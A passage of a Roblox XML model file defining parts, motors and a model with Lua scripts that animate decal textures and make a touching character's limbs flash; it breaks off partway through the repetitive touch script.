						<float name="FrontParamB">0</float>
						<token name="FrontSurface">6</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>-0.00535600213</X>
							<Y>0.0340620205</Y>
							<Z>-0.204541653</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">2</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>-2.13539147</X>
							<Y>-0.0696646646</Y>
							<Z>0.0246757902</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="VelocityMotor" referent="RBX2110">
					<Properties>
						<CoordinateFrame name="C0">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<CoordinateFrame name="C1">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<float name="CurrentAngle">0</float>
						<float name="DesiredAngle">0</float>
						<Ref name="Hole">null</Ref>
						<float name="MaxVelocity">0</float>
						<string name="Name">4D Being</string>
						<Ref name="Part0">null</Ref>
						<Ref name="Part1">null</Ref>
						<bool name="archivable">true</bool>
					</Properties>
				</Item>
			</Item>
			<Item class="VelocityMotor" referent="RBX2111">
				<Properties>
					<CoordinateFrame name="C0">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<CoordinateFrame name="C1">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<float name="CurrentAngle">0</float>
					<float name="DesiredAngle">0</float>
					<Ref name="Hole">null</Ref>
					<float name="MaxVelocity">0</float>
					<string name="Name">4D Being</string>
					<Ref name="Part0">null</Ref>
					<Ref name="Part1">null</Ref>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Model" referent="RBX2112">
			<Properties>
				<CoordinateFrame name="ModelInPrimary">
					<X>0</X>
					<Y>0</Y>
					<Z>0</Z>
					<R00>1</R00>
					<R01>0</R01>
					<R02>0</R02>
					<R10>0</R10>
					<R11>1</R11>
					<R12>0</R12>
					<R20>0</R20>
					<R21>0</R21>
					<R22>1</R22>
				</CoordinateFrame>
				<string name="Name">Model</string>
				<Ref name="PrimaryPart">null</Ref>
				<bool name="archivable">true</bool>
			</Properties>
			<Item class="Model" referent="RBX2113">
				<Properties>
					<CoordinateFrame name="ModelInPrimary">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<string name="Name">eletricity collecter1</string>
					<Ref name="PrimaryPart">null</Ref>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="Part" referent="RBX2114">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">199</int>
						<CoordinateFrame name="CFrame">
							<X>-40.5</X>
							<Y>0.899552107</Y>
							<Z>26.5</Z>
							<R00>-0</R00>
							<R01>-1</R01>
							<R02>-0</R02>
							<R10>-1</R10>
							<R11>-0</R11>
							<R12>-0</R12>
							<R20>-0</R20>
							<R21>-0</R21>
							<R22>-1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">2</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX2115">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">199</int>
						<CoordinateFrame name="CFrame">
							<X>-40.5</X>
							<Y>1.89961267</Y>
							<Z>26.5</Z>
							<R00>0</R00>
							<R01>1</R01>
							<R02>0</R02>
							<R10>1</R10>
							<R11>0</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>-1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">2</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX2116">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">199</int>
						<CoordinateFrame name="CFrame">
							<X>-40.5</X>
							<Y>3.89955044</Y>
							<Z>26.5</Z>
							<R00>-1</R00>
							<R01>0</R01>
							<R02>-0</R02>
							<R10>-0</R10>
							<R11>1</R11>
							<R12>-0</R12>
							<R20>-0</R20>
							<R21>0</R21>
							<R22>-1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">0</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="SpecialMesh" referent="RBX2117">
						<Properties>
							<token name="LODX">2</token>
							<token name="LODY">2</token>
							<Content name="MeshId"><null></null></Content>
							<token name="MeshType">3</token>
							<string name="Name">Mesh</string>
							<Vector3 name="Offset">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<Vector3 name="Scale">
								<X>2</X>
								<Y>2</Y>
								<Z>2</Z>
							</Vector3>
							<Content name="TextureId"><null></null></Content>
							<Vector3 name="VertexColor">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
				<Item class="Part" referent="RBX2118">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">199</int>
						<CoordinateFrame name="CFrame">
							<X>-40.5</X>
							<Y>2.89955139</Y>
							<Z>26.5</Z>
							<R00>0</R00>
							<R01>1</R01>
							<R02>-0</R02>
							<R10>1</R10>
							<R11>0</R11>
							<R12>-0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>-1</R22>
						</CoordinateFrame>
						<bool name="CanCollide">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Part</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">2</token>
						<Vector3 name="size">
							<X>1</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
				</Item>
				<Item class="Part" referent="RBX2119">
					<Properties>
						<bool name="Anchored">true</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">0</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">1003</int>
						<CoordinateFrame name="CFrame">
							<X>-40.5</X>
							<Y>3.39957309</Y>
							<Z>29</Z>
							<R00>-0</R00>
							<R01>-0</R01>
							<R02>-1</R02>
							<R10>-0</R10>
							<R11>-1</R11>
							<R12>-0</R12>
							<R20>-1</R20>
							<R21>-0</R21>
							<R22>-0</R22>
						</CoordinateFrame>
						<bool name="CanCollide">false</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">2</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Infected</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">9</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>4</X>
							<Y>0.400000006</Y>
							<Z>2</Z>
						</Vector3>
					</Properties>
					<Item class="Script" referent="RBX2120">
						<Properties>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">Script</string>
							<string name="Source">w=.03
d=script.Parent.Decal
while true do
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439031&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439041&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439027&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439041&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439027&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439031&quot;
end</string>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="StockSound" referent="RBX2121">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">udcr5c0u3</string>
								<float name="Pitch">1</float>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
					<Item class="Script" referent="RBX2122">
						<Properties>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">Script</string>
							<string name="Source">w=.03
d=script.Parent.Decal2
while true do
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439031&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439041&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439027&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439041&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439027&quot;
wait(w)
d.Texture=&quot;http://www.roblox.com/asset/?id=9439031&quot;
end</string>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="StockSound" referent="RBX2123">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">iyfy2r</string>
								<float name="Pitch">1</float>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
					<Item class="Decal" referent="RBX2124">
						<Properties>
							<token name="Face">1</token>
							<string name="Name">Decal</string>
							<float name="Shiny">20</float>
							<float name="Specular">0</float>
							<Content name="Texture"><url>http://www.roblox.com/asset/?id=9439031</url></Content>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="StockSound" referent="RBX2125">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">9sim</string>
								<float name="Pitch">1</float>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
					<Item class="Decal" referent="RBX2126">
						<Properties>
							<token name="Face">4</token>
							<string name="Name">Decal2</string>
							<float name="Shiny">20</float>
							<float name="Specular">0</float>
							<Content name="Texture"><url>http://www.roblox.com/asset/?id=9439031</url></Content>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="StockSound" referent="RBX2127">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">ejg7aef</string>
								<float name="Pitch">1</float>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
					<Item class="BlockMesh" referent="RBX2128">
						<Properties>
							<float name="Bevel">0</float>
							<float name="Bevel Roundness">0</float>
							<float name="Bulge">0</float>
							<token name="LODX">2</token>
							<token name="LODY">2</token>
							<string name="Name">Mesh</string>
							<Vector3 name="Offset">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<Vector3 name="Scale">
								<X>1</X>
								<Y>0</Y>
								<Z>5</Z>
							</Vector3>
							<Vector3 name="VertexColor">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="StockSound" referent="RBX2129">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">vh4np</string>
								<float name="Pitch">1</float>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
					<Item class="Script" referent="RBX2130">
						<Properties>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">Script</string>
							<string name="Source">function stick(x, y)
	weld = Instance.new(&quot;Weld&quot;) 

	weld.Part0 = x
	weld.Part1 = y

	local HitPos = x.Position

	local CJ = CFrame.new(HitPos) 
	local C0 = x.CFrame:inverse() *CJ 
	local C1 = y.CFrame:inverse() * CJ 

	weld.C0 = C0 
	weld.C1 = C1 
	
	weld.Parent = x
end

function onTouched(part)
	local h = part.Parent:findFirstChild(&quot;Humanoid&quot;)
	if h~=nil then
wait(0.001)h.Health = 100
children = h.Parent:children()

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 0

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Arm&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Left Leg&quot;).Reflectance = 1
part.Parent:findFirstChild(&quot;Right Leg&quot;).Reflectance = 1

wait(0.01)

part.Parent:findFirstChild(&quot;Head&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Torso&quot;).Reflectance = 0
part.Parent:findFirstChild(&quot;Left Arm&quot;).Reflectance = 0
